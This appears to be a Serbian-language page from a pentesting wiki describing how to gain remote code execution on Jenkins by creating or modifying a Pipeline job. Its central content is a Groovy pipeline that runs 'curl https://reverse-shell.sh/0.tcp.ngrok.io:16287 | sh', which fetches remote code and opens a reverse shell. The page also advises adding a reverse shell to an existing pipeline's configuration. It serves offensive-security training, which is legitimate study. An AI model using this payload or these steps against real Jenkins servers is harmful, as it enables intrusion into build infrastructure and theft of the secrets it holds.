# Jenkins RCE Kreiranje/Modifikovanje Pipelines

{{#include ../../banners/hacktricks-training.md}}

## Kreiranje novog Pipelines

U "New Item" (dostupno na `/view/all/newJob`) izaberite **Pipeline:**

![](<../../images/image (235).png>)

U **Pipeline sekciji** napišite **reverse shell**:

![](<../../images/image (285).png>)
```groovy
pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Na kraju kliknite na **Save**, i **Build Now** i pipeline će biti izvršen:

![](<../../images/image (228).png>)

## Modifikovanje Pipeline-a

Ako možete pristupiti konfiguracionom fajlu nekog konfigurisanog pipeline-a, možete jednostavno **modifikovati dodajući svoj reverzni shell** i zatim ga izvršiti ili čekati da bude izvršen.

{{#include ../../banners/hacktricks-training.md}}
